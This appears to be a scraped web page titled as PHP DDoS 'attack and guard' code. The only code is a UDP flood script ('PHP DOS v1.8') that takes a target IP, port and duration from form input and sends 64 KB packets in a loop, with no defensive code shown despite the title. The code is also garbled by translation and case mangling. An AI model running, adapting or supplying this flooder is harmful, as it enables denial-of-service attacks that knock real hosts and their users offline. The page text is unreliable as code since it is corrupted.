DDoS attack and guard code under PHP

Source: Internet
Author: User
    1. $ip = $_server[' remote_addr ');
    2. ?>
    3. PHP DoS, Coded by EXE



    4. Your IP: (Don ' t DoS yourself nub)

Copy Code

Files: function.php

  1. //=========================================
  2. PHP DOS v1.8 (possibly stronger Flood strength)
  3. Coded by EXE
  4. @link http://bbs.it-home.org
  5. //=========================================
  6. $packets = 0;
  7. $ip = $_post[' IP '];
  8. $rand = $_post[' Port '];
  9. Set_time_limit (0);
  10. Ignore_user_abort (FALSE);
  11. $exec _time = $_post[' time ');
  12. $time = time ();
  13. Print "flooded: $ip on port $rand

    ";
  14. $max _time = $time + $exec _time;
  15. for ($i =0; $i <65535; $i + +) {
  16. $out. = "X";
  17. }
  18. while (1) {
  19. $packets + +;
  20. if (Time () > $max _time) {
  21. Break
  22. }
  23. $fp = Fsockopen ("udp://$ip", $rand, $errno, $ERRSTR, 5);
  24. if ($fp) {
  25. Fwrite ($fp, $out);
  26. Fclose ($FP);
  27. }
  28. }
  29. echo "Packet". Time (' h:i:s '). "With $packets (". Round (($packets *65)/1024, 2). "MB) packets averaging". Round ($packets/$exec _time, 2). "PACKETS/S \ n";
  30. ?>
Copy Code
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.